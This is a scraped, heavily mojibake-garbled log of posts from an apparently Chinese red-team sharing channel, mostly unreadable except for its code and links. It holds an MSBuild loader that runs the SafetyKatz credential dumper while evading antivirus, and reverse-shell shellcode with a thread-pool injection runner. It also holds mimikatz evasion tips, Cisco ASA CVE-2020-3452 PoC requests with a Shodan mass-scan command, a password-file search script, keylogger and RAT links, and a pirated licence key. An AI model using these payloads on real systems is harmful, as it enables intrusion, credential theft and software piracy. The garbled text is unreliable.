ࡅᤑJAVA໐ஞचᏐ҅౯ᛔ૩మጱฎᛗ੝஑಩चᏐጱӳᥜ൥౜҅౯ԞӧᎣ᭲ᛔ૩௶ࣁ፥Ꭳ̶๋ᬪԞڊᒵ҅௛ԏ੪ฎਫ᪢ێᖫᦲොဩᚆݍܓզ݊ᆧఀଉᥠਞێහᚆڍᖫٟhook޾ێCTF᷌ጱොୗ๶਍ᬮฎஉঅጱ҅᯿ᅩ੪ฎᴅ᧛რᎱᚆڬᳪFridaጱොဩ౯ᥧ஑զف
ཻᎸᑪՋԍ̶

՗ӣ᭲᷌ፓفᳪfrida

Wing: ᷌ፓᴫկᥠܻ෈[[ܻڠ]՗ӣ᭲᷌ፓفಋفᳪfrida-́Androidਞ͂ق-፡ᵪਞقᦞࣚ](https://bbs.pediy.com/thread-260523.htm)

#FridaTips#  
ࡅᤑJAVA໐ஞचᏐ҅౯ᛔ૩మጱฎᛗ੝஑಩चᏐጱӳᥜ൥౜҅౯ԞӧᎣ᭲ᛔ૩௶ࣁ፥Ꭳ̶๋ᬪԞڊᒵ҅௛ԏ੪ฎਫ᪢ێᖫᦲොဩᚆݍܓզ݊ᆧఀଉᥠਞێහᚆڍᖫٟhook޾ێCTF᷌ጱොୗ๶਍ᬮฎஉঅጱ҅᯿ᅩ੪ฎᴅ᧛რᎱᚆڬᳪFridaጱොဩ౯ᥧ஑զف
ཻᎸᑪՋԍ̶

՗ӣ᭲᷌ፓفᳪfrida

Wing: ᷌ፓᴫկᥠܻ෈[[ܻڠ]՗ӣ᭲᷌ፓفಋفᳪfrida-́Androidਞ͂ق-፡ᵪਞقᦞࣚ](https://bbs.pediy.com/thread-260523.htm)

ဉᓟ༄ၥᤑ꧌-ڥአᐒտૡᑕ਍᭗አᬦဉᓟ
http://8sec.cc/index.php/archives/413/

 ӤӞӻᶱፓӾፗളࣁ੒ොጱلېԯໟᶎӤ҅ྋঅ໑ഝӞԶྋଉ඙֢ᚆड़ڣෙڊᡦ೙๢/ԯໟᶎ ޾ဉᓟጱ҅ڦ܄ෆӻܻቘ16ࣁଙጱӞӻword໏๜Ӿ੪ํֵአܻ҅ቘ੪ฎڣෙwordܲݥ಑୏෈կහᰁ҅ྋଉԯໟᶎ/ӻՈPC᮷տ಑୏Ӟਧහᰁጱdoc෈կ҅ᘒဉᓟጱ
ሾहݝฎਞᤰԧofficeॺկܩӧտ੤ᦶ಑୏doc෈կ҅ᬯӻݸࣁ๗ၥᦶᬦᑕӾԞݎሿԧ҅ஙྍտ಑୏Ӟӻ1.docጱ෈կ̶ᬯ᯾౯ժݝᥝڣෙ಑୏හᰁฎݶ̶ݢܨ3=<ވቘٌਫᬮํஉग़ࣈො᮷ݢզአ๶ڣෙฎވฎဉᓟ̶
ੂᎱғ
123xllfkvkvv
ԅՋԍᥝᦡᗝੂᎱޫҘํԶӳᥜӞ෮አጱՈग़ԧ੪௛տ०ප̶
#ਞق୏ݎ#  

RedTeaming - 2020-07-09 
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RedTeaming - 2020-07-09 

http://www.8sec.cc/index.php/archives/363/
https://mp.weixin.qq.com/s/s88GxlRPpzSo7Uiwjt06eA
https://mp.weixin.qq.com/s/s88GxlRPpzSo7Uiwjt06eA
http://8sec.cc/index.php/archives/413/






᤼ᤓߵ: ภӤெԍဌՈ high ԧޫ [඄ࢀ]
L: ፓڹ౯ᥧ஑ݢզጱොဩํӣӻғӞӻฎڣෙฎӧฎᅩڋጱ҅Ӟӻฎᕳ޸եᤈ݇හᥝ࿢ᬌف੒ଫጱੂᎱ಍ᚆྋᏟጱಗᤈᯈݳႰႝ api ጱᮎᐿॎৼ๋҅ݸ੪ฎ༄ၥဉᓟጱ඙֢
᤼ᤓڣ :ߵෙᅩݢڋզ᭗ᬦڣෙᆿᬰᑕ๶ਫሿ҅݇ےහጱᦾฎӻොဩ҅౯ᬯ᯾ጱଫአ࣋วๅग़ฎᰜṺ̶[๢ฬ][๢ฬ][๢ฬ][অጱ]
᤼ᤓߵ: ݇හᬯӻԏڹဌํٟ҅ሿ૪فےӥེ෈ᒍॺᷧڜᤒ [ঃᒞ]̵Ӟӻ᷌ፓ౯ᚆ࿜܈ग़ᓤ
crazyman: ᭬ک anyrun ੪ݰ጖ԧ
Wing: ฌภࡆṛԧ…
᤼ᤓڟڟ :ߵփӤ݄ၥԧӥ҅༄ၥڊ๶ԧ

ԏڹ᧔ጱmsbuildᮎӻ҅ፓڹᶉாᬦӧ݄windows defenderҁդᎱӾ۱ތamsi bypassդᎱጱᖭඳ҅ݢᛔᤈڢᴻ҂҅ے᫹ጱฎsafekatz๊ݢഘԅṛᇇ๜ጱmimikatz҅ᭇٖݳᗑӾֵአ҅؉ک෫෈կಬ̵ݐᥴੂ̶

AMSIጱֵአጱԅғ
AmsiScanBufferBypass/ASBBypass.ps1+at+master+·+ras...
(ፓڹ૪०ප҅ݢ஺ኼ)

դᎱ࣎ࣈғ
http://note.youdao.com/s/FEs8X3Ub

lengyi: psғ08 ๚౮ۑ..
᤼ᤓߵ: ํ᭲಩᱾ളೝ౼ԧ҅ԏڹᎉԧӞӥᬱᑕے᫹ bin҅ᇍ᭧̶̶
lengyi: ӧ៧ࣈঅሻ
᤼ᤓߵ: ԏڹ੪ဌᬱᑕے᫹҅१᱈ጱፗള಩ pe ଗᬰ݄ԧ [ၞဴ]
lengyi: Peload ᬯӻꂁᓌܔᔋู҅੪ฎ mimikatz տࣁ xml ᯾ᶎ [ᤗ]

ളӤӞ๵҅᱾ളᤩೝ౼ԧ҅౯ፗളනդᎱ..

RedTeaming - 2020-07-10 

RedTeaming - 2020-07-10 

https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1
http://note.youdao.com/s/FEs8X3Ub


TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >

<![CDATA[ 
using System;
using System.IO;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Runtime.InteropServices;

class BaseLibs
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflprotOld);
}

public class ClassExample : Task, ITask
{
public override bool Execute()
{ 

System.Reflection.Assembly.Load(File.ReadAllBytes(@"\127.0.0.1\c$\SafetyKatz.bin")).EntryPoint.Invoke(0, new object[] { new string[] { } });
return true;
}
}
]]>

᤼ᤓߵ: ᬯᐿݍ੘ے᫹Ԟӧᴴԭ c#[ᴢᴾ][ᴢᴾ]
lengyi: [ഉ᚜][ഉ᚜] ᚆᯈݳ xml ౯ݝտᬯӻԧ̶̶

#๤ع#  
ሒሢ໘ "

ᇙ஄Ҕဳ᯽̵෫አᑮᤈᒵ̶ىᴻOR๊ഘრᎱٖፘڢ1̵
2̵upxܴᖽ҅ڢᴻPE᯾ᶎଃupxፘ̶ྦྷਁى
3̵։᭜ᓋ̶ݷ

GitHub+-+wanglaizi/ByPass_MIMIkatz

RedTeaming - 2020-07-11 

https://github.com/wanglaizi/ByPass_MIMIkatz


lengyi: ᨩ֒ݪࢿࣁ፡کᬦ

#mimikatzع๤ොဩ#  
ොဩ0-ܻኞாmimikatz.exe(VTັ๤ሲ55/71)
ොဩ1-ےॎ+ᓋݷ+ᩒრ๊ഘ(VTັ๤ሲ9/70)
ොဩ2-Invoke-Mimikatz(VTັ๤ሲ39/58)
ොဩ3-ֵአOut-EncryptedScriptੂے(VTັ๤ሲ0/60)
ොဩ4-ֵአxencryptੂے(VTັ๤ሲ2/59)
ොဩ5-PowerShell્فEXE෈կ(VTັ๤ሲ15/58)
ොဩ6-CᑕଧӾಗᤈpowershell(VTັ๤ሲ7/71)
ොဩ7-ֵአے᫹࢏pe_to_shellcode(VTັ๤ሲ47/70)
ොဩ8-c#ے᫹shellcode(VTັ๤ሲ21/57)
ොဩ9-Donutಗᤈmimikatz(VTັ๤ሲ29/71)
ොဩ10-msfے᫹bin(VTັ๤ሲ2/59)
ොဩ11-አC#ے᫹mimikatz(VTັ๤ሲ35/73)
ොဩ12-JSے᫹mimikatz(VTັ๤ሲ22/59)
ොဩ13-msiexecے᫹mimikatz(VTັ๤ሲ25/60)
ොဩ14-ጮܔݷmsbuild.exeے᫹(VTັ๤ሲ4/59)
ොဩ15-JScriptጱxslᇇ(VTັ๤ሲ7/60)
ොဩ16-jscriptጱsctᇇ(VTັ๤ሲ23/59)
ොဩ17-ReflectivePEInjectionے᫹(VTັ๤ሲ32/57)
ොဩ18-੕ڊlsassᬰᑕᐶᕚ᧛ੂᎱ(VTັ๤ሲ0/72)
ᴠྊmimikatz᧛ੂݐᎱғ
ොဩ1-WDigestᐬአᖨਂ
ොဩ2-Debug ๦ᴴොဩ3-LSA כಷ
ොဩ4-ݑᴴګጱᓕቘཛྷୗොဩ5-ᐬአڂᦤᖨਂොဩ6-כݑಷጱአಁᕟ

ܻ෈࣎ࣈғMimikatzጱ18ᐿع๤঵۠݊ᴠகᒽኼ+-+FreeBufᗑᕶਞقᤈӱᳪಁ

#ဌํՋԍአጱTips#  

cmdىᳮwin10ᛔۖๅෛ.
ᡦ೙๢ᛔ૩ๅෛஉᅸ.
sc stop wuauserv
sc config wuauserv start= disabled

ᶆᶆမᬟក: ᔮᕹӧๅෛӧਞࠡق [ްᇌ]
Wing: ᡦ೙๢౯ᥝਙਞقଗ̶ࠨ᯾ᶎݱᐿḘ
ᶆᶆမᬟក: य़֬ᇍ᭧ 666 ᑁࠡࢧ

MSSQL_BackDoor

ፓጱԆᥝฎ൳ᚙMSSMS޾ Navicat ᧣አಗᤈ sp_cmdExec

ֵአᚕ๜ັᧃݢզ឴ݐᬬࢧ꧊, ԏݝڹᚆ឴ݐၾ௳, ಅզஉׁᩢૡٍಗᤈ sp_cmdExec

RedTeaming - 2020-07-11 
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https://www.freebuf.com/articles/system/234365.html


ๅෛ mimikatz_powershell ᛗ2020ᇇ๜
ႲےᛔਧԎ loader, አԭے᫹ cobaltstrike ޾ metasploit ጱ payload
Ⴒے mimikatz_ssp ݸᳪ, አԭᦕ୯๐࢏ۓጱੂᎱ
sp_help, ӞԶ൉ᐏ೰ե

GitHub+-+evi1ox/MSSQL_BackDoor

#Redteam#  #mssql #  tools #backdoor

https://github.com/evi1ox/MSSQL_BackDoor


Wing: @evi1ox
Evi1oX: ॒ঀᩂᤩಶԧ҅ӥེٚങἩӻๅঅጱ [ஙᒞ]
ᬻᬸॿᇙ่: mssql: ತӧؙਂکᬦᑕ'sp_cmdExec'̶ Try xp_cmdshell to Run Command !<br><br>'sp_downloadFile' ӧฎٖ᮱౲क़᮱޸ե҅Ԟӧฎݢᬩᤈጱᑕଧ <br><br><br> ᬯӻฎᵱᥝߺԶ඙֢҅ฎӧฎ౯
੝ԧӞԶྍṈ̶

https://krober.biz/misc/reverse_shell.php?nsukey=Y...

Evi1oX: ๶ӻᐶᕚᇇ: [GitHub+-+evi1ox/shell_command](https://github.com/evi1ox/shell_command)
lengyi: ᯡ

#Ⴝ᭐ದૣ#  
Ⴝ᭐ၥᦶᕁᕚList҅᮷உਫአ҅ݢզcommit

RedTeaming - 2020-07-12 
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https://krober.biz/misc/reverse_shell.php?nsukey=YEhbwW0Kf41RHvSNUXHFW34YzRmDz88%2FePiGn7WofWgba0LKueLnvGmcS3okXYaWgdBsyr95zmwR0YNEBjPXlosVqIDUQHx8y76jiXxRC7S7Y3wXVG5miwwcGPOfFaff2rUFiXL5engLPj6B%2BH7%2BMTZeSG3uFX%2FoLh3uA4eyJT6Qn3rrqH%2BwPjSYqE51mteE7QK5BdxG3oKwALk22tIfhQ%3D%3D


GitHub+-+EvilAnne/Violation_Pnetest:+Ⴝ᭐ᕁᕚChecklist

#MacTips#  
֦ժଫᧆ᮷ဌ܋ᕆpd,܋ᕆጱᦾտݎሿஉग़Ꮘᥴ᫫կ෫ဩֵአ,Bug Sirݷӧᡦփ,ᇙڦฎVMಅํጱᡦ೙๢෈կ෫ဩ಑୏,ݝᚆᒵਥොๅෛ,ᬮঅPDݢզአ,֕ฎᏈᥴᇇच๜᮷ӧᤈԧ.ՔॠࣁBᒊૣٻ፡کӞӻݢአጱ.
᱾ള: https://pan.baidu.com/s/1P8qR_RgJF7FDMw2SfTsgww  ੂᎱ:v9dv
ᦕ஑ෙᗑਞᤰ.

RedTeaming - 2020-07-14 

https://github.com/EvilAnne/Violation_Pnetest
https://pan.baidu.com/s/1P8qR_RgJF7FDMw2SfTsgww


᤼ᤓߵ: ԏ܋ڹᕆ 15 ጱ෸ײ vm ੪ᑱᆐአӧԧԧ҅ᡦ೙๢᮷ฎἓ੽҅ᬮӧኩ᧗੽଒๦ᴴ҅ᬮᦕ஑ᮎ෸ྋ์مࣁጱ۹Ղ
Wing: զݸӧݢᚆٚᎌểدԤ൥ԧ̶
᤼ᤓߵ: ౯ฎݰᬦԮԧ #

Black cher*: win አಁ੪ӧአ೅ஞᬯԶ [ࣕᒞ]
lengyi: ᆐᘒ౯ဌํ mac [ഉ᚜]

#CSൊկ୏ݎ#  #ᕁᴚྎ۸࢏Ꮈݎ# #๤ع#   
ᛔۖع๤کPE෈կఽວጱ๦ᴴᖌ೮
፡ᴫկ.
shellcodeӧտٟ,᧡๶ଃଃ?

ᬻᬸॿᇙ่: ૵ؓᬯӻࠨ॓ٵ෸ײනڊ๶҅ߢߢ
Wing: ಷᗑᕮ๳̶[ഉ᚜]
Wing: ٖݪل᮱አ̶
ᬻᬸॿᇙ่: ࡧࡧঅጱ҅ࣖᒵ ߢߢ

#๦ᴴᖌ೮#  
.অBugԧץ,ᓒฎᖫᦲঅݢ,አAMSIᬰᤈ๦ᴴᖌ೮ڥ

RedTeaming - 2020-07-15 

RedTeaming - 2020-07-15 



፡ᴫկጱੜ෈ᒍ~~~

L: ᖫᦲکᛔᳮ̶̶
Wing: [ঃᒞ][ঃᒞ][ঃᒞ][ঃᒞ][ঃᒞ][ঃᒞ]

#ᕁᴚದૣ#  
https://ired.team/ฎӞ๜៷ᜰਪَ,ᕞԧဳਧᐻ१~~~

فአCreateThreadpoolWaitᬰᤈᬰᑕဳڥ

https://ired.team/offensive-security/code-injectio...

Code:

#include 
#include 

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"

RedTeaming - 2020-07-15 

https://ired.team/
https://ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait


"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);

return 0;
}



ӧᎣ᭲ํဌํአ҅ضනᬯ᯾ԧ[᧣ጼ]

ֵአCVE-2020-0601ᬰᤈ։᭜ᓋݷ

#ᕁᴚದૣ#  
Ԇ๢̶ܜզํප൉ṛٖᗑႽ᭐ጱපሲ҅ਧ֖ग़ᗑݢ
GitHub+-+Rvn0xsy/OXID-Find:+Find+the+host+network+...

RedTeaming - 2020-07-16 

RedTeaming - 2020-07-17 

https://mp.weixin.qq.com/s/wca5osB5R16bWvtx2LnPPg
https://github.com/Rvn0xsy/OXID-Find


#FridaTips#  #ᮎԶଙ౯ժဌํᲙᬦጱBug#  
TNND҅Bridaෛᇇ๜ग़ԧঅԶۑᚆ҅మၥᦶӥ҅ᕮຎӞፗᲙ̶

౯ጱᥴې٬ဩғ
py2ᡦ೙ሾह+ sudo launchctl config user path /usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin ᆐݸ᯿̶ݢܨސय़܎ज़ጱ҅ӧᦏՈঅঅ፻ᥧ̶

#ᏦᏦஷ#  
ภᅩ౯ٟӞӥBridaൊկ୏ݎጱದૣ҅ୌᦓय़ਹ݄፡Wiki҅ᓌܔกԧ̶ᬯӞӥৼ୏তӤቔզݸဌ෸ᳵ؉ٌ՜ጱ҅ਞܓၥᦶᬮฎஉ᯿ᥝጱ̶

RedTeaming - 2020-07-18 

RedTeaming - 2020-07-18 



᤼ᤓߵ: ӧ፡҅਍ӧտ҅౯ᭌೠጮ৫ [ᐒտᐒտ]
ᬻᬸॿᇙ่: य़֦֬҅ܗਮጱ sandbox ༄ၥ - ଉᥠړຉଘݣᇙ஄ ᬯᓤጱੂᎱݢզ൉׀ӥ҅ހమ਍ԟӥ̶
᤼ᤓߵ: ᬯจቖ᯾ԏڹጱૼৼํੂᎱ
ᬻᬸॿᇙ่: ತکጱپӻ᮷ӧ੒҅ߢߢ ҅य़֬ᑮԧጱᦾݎӞӥ
᤼ᤓߵ: ߶߶҅ᮎӻ஫ᦕԧ҅ᮎӻํᛔ૩ਹᦡ॓ӧᚆන [ഉ᚜]҅ӧᆐտᤩತ
ᬻᬸॿᇙ่: ࡧࡧ অጱ҅ᨀᨀ૵ؓ

#ૡٍದૣ#  
Proxifier᭗አဳٙᎱ
4.0.1 (2020.7.7)
3.4.2 (2018.8.31)
3.3.1 (2016ӧവគ)
5EZ8G-C3WL5-B56YG-SCXM9-6QZAPҁStandard Edition҂
http://www.proxifier.com/download/#win-tab

๶ᛔғ͉රᑕ͊Ladon+Socksդቘಚൈ(ᴫProxifier4.0ဳٙᎱ)+|+K8ߵߵ’s+Blo...

Windowsጱ҅macጱࣁProxifier+2.26+fixed+Ꮘᥴᇇ+for+Mac+Macᔮᕹقੴդቘਮಁᒒ

RBPi: դቘঅૡٍ
Evi1oX: অ؟ෛᇇݝඪ೮ win
Wing: ᓕ՜ጱ҅Mac ᮷ฎ޸եᤈ̶
Black cher*: ࿥۸ෛӮᕉํᏈጱ҅҅ӧᎣ᭲ํဌํ mac
Wing: ํጱ̶ᗑӤ mac ጱᗑᒊ᮷ํ̶
Wing: ౯ݎԧ̶ࠡ᱾ള
Black cher*: [ߢࢄ] ᫫կํԧ҅mac ߺ᯾ᶾ

#BugBounty#  
೵၏ᛔۖ۸໛ຝ

ৼऒݷ
ᆻᡩ
ࢶ౼
ᩒԾמ௳
զ݊വᇙఘಸᦈᴅ

59ᗦزӞӻ์҅ॡᩃԧ҅ୌᦓᛔ૩̶ٟ

Bug+Bounty+Automation+Framework+-+Ghostlulz+Hacks

#BugBounty#  
೵၏ᛔۖ۸໛ຝ

ৼऒݷ
ᆻᡩ
ࢶ౼

RedTeaming - 2020-07-18 
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http://www.proxifier.com/download/#win-tab
http://k8gege.org/Ladon/proxy.html
https://www.macwk.com/soft/proxifier
http://ghostlulz.com/bug-bounty-automation-framework/


ᩒԾמ௳
զ݊വᇙఘಸᦈᴅ

59ᗦزӞӻ์҅ॡᩃԧ҅ୌᦓᛔ૩̶ٟ

Bug+Bounty+Automation+Framework+-+Ghostlulz+Hacks

#ᕁᴚದૣ#  
ٖᗑ឴ݐፓຽԆ๢Ӥጱᗑמܜ௳,C++޾Csharpᇇ๜
OXID_Findғ᭗ᬦOXIDᥴຉݐ឴࢏WindowsᬱᑕԆ๢Ӥᗑ࣎ࣈܜ+·+Uknow+-+St...

᤼ᤓߵ: [๢ฬ] ሿࣁᗑᕶ፥ฬᚆ҅౯ᬮဌٟਠޫڦՈ᮷አӤԧ [๢ฬ]
Wing: ॡదԧ #

lengyi: ಅզ֦҅ᭌೠጮ৫ฎྋᏟጱ [ࣕᒞ]

#ૡٍದૣ#  
HackBar V2

[No License, FOREVER FREE] A HackBar for new firefox (Firefox Quantum). This addon is written in webextension and alternatives to the XUL version of original Hackbar.
HackBar+V2+–+ӥ᫹+ $$+Firefox+ಘ઀ҁzh-CN҂

൉๦ጱ

GitHub+-+Q4n/CVE-2020-1362:+writeup+of+CVE-2020-13...

ೲᲫᔜᅎොୗىᳮ360
ರᚸӞտզݎݸሿํᅩࢯᵙ[ഉ᚜]

҂ | MS509 Teamۑॊ૪ḵᦤ౮ܣقᳮय़ग़හ๤᫫ጱದ๞ҁ੒360ਞىݢՁӞᐿړ

RedTeaming - 2020-07-19 
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RedTeaming - 2020-07-19 
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http://ghostlulz.com/bug-bounty-automation-framework/
https://uknowsec.cn/posts/notes/OXID_Find%EF%BC%9A%E9%80%9A%E8%BF%87OXID%E8%A7%A3%E6%9E%90%E5%99%A8%E8%8E%B7%E5%8F%96Windows%E8%BF%9C%E7%A8%8B%E4%B8%BB%E6%9C%BA%E4%B8%8A%E7%BD%91%E5%8D%A1%E5%9C%B0%E5%9D%80.html
https://addons.mozilla.org/zh-CN/firefox/addon/hackbar-free/?src=search
https://github.com/Q4n/CVE-2020-1362
https://www.ms509.com/2017/06/06/bypass360-analysis


Black cher*: ἕᦊ୏ސ໐สᴠಷ҅ᬯᐿොဩᤈӧ᭗̶pass
lengyi: Py ํӻପ҅ਫሿ᩸๶ꂁᓌ̶ܔ૵ؓݢզᦶᦶ
Black cher*: ૵ؓ࿢೰ර҅ฎߺӻପ̶ޚ
L: ӞᛱํݝӻՈԆ๢ᮎᐿํአ[ߢࢄ] މ
Black cher*: ฎጱ҅੪ฎᥝᑱᏈ [ഉ᚜]
L: ֗๦ဌဩڔഘک຤ӻአಁጱໟᶎމ

ᤒ҅ߵᲫፏᦕ୯ํဌํঅአӞᅩጱ҅cs ॔ࣁ๥ሾहӥঅӧᑞਧ̶१ዢྒԧ

c ᔮڜጱஉग̶़ࠡgo ٟጱॡय़ԧ̶کڟਹ҅இտ൤൤፡̶

Wing: [GitHub+-+aydinnyunus/Keylogger:+Get+Keyboard,Mouse...](https://github.com/aydinnyunus/Keylogger)
Black cher*: [ഉ᚜] ع๤०ᨳ
Wing: አ win api ᛔ૩ٟӞӻ๋অ҅ဌᇙ஄̶

#C2#  
C++
Java
Go

GitHub+-+jafarlihi/serpentine:+Windows+RAT+(Remote...

#CSTips#  #CSൊկ୏ݎ#  
๋ᬪᥝ஬ᶱፓ҅ဌ෸ᳵ፡ӳᥜ҅Քॠ፡کӞӻsharpsearch̶
൤ᔱභఽ෈կ
ᶲಋٟӥړՁ̶

menu "භఽਁྦྷතᵞ"{
item "SharpSearch"{
local(' bid ( bid);
}
}
}
# ####Wing SubFunc
sub sharpsearch{
# ਧԎݒᰁ

RedTeaming - 2020-07-20 

Question: 

Answer: 

RedTeaming - 2020-07-20 

RedTeaming - 2020-07-21 

1){<br>          &sharpsearch(

https://github.com/jafarlihi/serpentine


local(' bid');
1;

%defaults["path"] = "C:\";
%defaults["blacklist"] = "rar,zip,exe,tar";
%defaults["string"] = "password";

dialog, "Wing");
drow_text( dialog, "blacklist", "ἓܔݷ: ");
drow_text( dialog, "Execute");
# dbutton_action( dialog);
}

!"#$%&

'(



#๤ع#  #ᕁᴚದૣ#  
ᕰᬦAMSIೝ౼զ݊ᴠྊpowershellܲ޸ݥեᤩᦕ୯̶

RedTeaming - 2020-07-22 



lengyi: ᬯӻ౯ᦕ஑ฎฮ෸Ꮘࣕԧᦕ୯ۑᚆঅ؟ฎ

#Poc-Exp#  
Xray ጱShiro Payload॔አ̶

shiroෛ঵۠ғڡറxrayṛᕆᇇshiroൊկ+-+ਞقਮ҅ਞقᩒᦔଘݣ

#൉๦#  
Win2012൉๦҅உঅአጱ̶

GitHub+-+BeichenDream/BadPotato:+Windows+๦ᴴ൉܋+BadP...

RedTeaming - 2020-07-22 
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https://www.anquanke.com/post/id/211228
https://github.com/BeichenDream/BadPotato


൉๦
GitHub+-+sailay1996/RpcSsImpersonator:+Privilege+E...

#ૡٍದૣ#  
ૡٍݻತጱٖᗑཞڟӻپՁړ
GitHub+-+Kevin-Robertson/Invoke-TheHash:+PowerShel...
GitHub+-+checkymander/Sharp-SMBExec:+SMBExec+C#+mo...
CredNinja

ᆐݸဌತکCٟጱ.य़ਹํঅአጱݢզᦎᦞӞӥ҅޸եᤈጱ̶

L: Ladon ꂁঅአጱ

#Poc-Exp#  
CVE-2020-3452 Cisco ASA & Cisco Firepower ᦡ॓ጱ๚ദ๦ձ఺෈կ᧛ݐᄋ၏ጱӷຍل୏PoC
᮷አ᧛ݐ"/+CSCOE+/portal_inc.lua"෈կ๶֢ԅᐏֺ
poc1ғhttps:///+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

poc2ғhttps:///+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

౯ٟԧӞӻpocsuite3ൊկғpocsuite-z/CVE-2020-3452.py+at+master+·+zer0yu/poc...

pocsuite3 @heige ฎ౯๋ཻࡅጱӞྃᄋ၏ḵᦤ໛ຝ҅ᇙڦฎ3ጱ᯿य़ๅෛᇇ๜̶౯ํԶᄶᬰጱץදᇙ௔ӧᒧݳpocsuite3ጱܻ๜ፓጱ҅ಅզ౯୏ԧӞӻෛጱړඪ҅ݸᖅտpushๅग़ጱी୩ࣳץදӤ݄ғ
GitHub+-+zer0yu/pocsuite-z:+pocsuite-z+is+an+open-...

զֵአpocsuite-z๶੒ፓຽᬰᤈಢᰁ༄ၥݢ
python pocsuite3/cli.py -r pocsuite3/pocs/CVE-2020-3452.py --dork-shodan 'title:"SSL VPN Service" "webvpnlogin=1"' --thread 10

#Ⴝ᭐ದૣ#  #BlueTeam#  

᠗ᴚଫ௒ߥଫԏ“ᵜểज़ễ”

Wing: 

#ᕁᴚದૣ#  
Sealbeat૪ᕪਫሿԧஉग़ᛔۖ۸מ௳൤ᵞጱۑᚆ҅ړཛྷࣘ୏̶ݎtnd,ဌ෸ᳵ̶ٟࠡ

ই֜चԭ+"ᅩ"+֖ள᭛൤ᵞ
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RedTeaming - 2020-07-24 

https://github.com/sailay1996/RpcSsImpersonator
https://github.com/Kevin-Robertson/Invoke-TheHash
https://github.com/checkymander/Sharp-SMBExec
https://github.com/zer0yu/pocsuite-z/blob/master/pocsuite3/pocs/CVE-2020-3452.py
https://github.com/zer0yu/pocsuite-z
https://mp.weixin.qq.com/s/y5QpXYedIlLJqNeHlC4SNQ
https://mp.weixin.qq.com/s/fYaqtotkEfzLhlLN3qRaXw


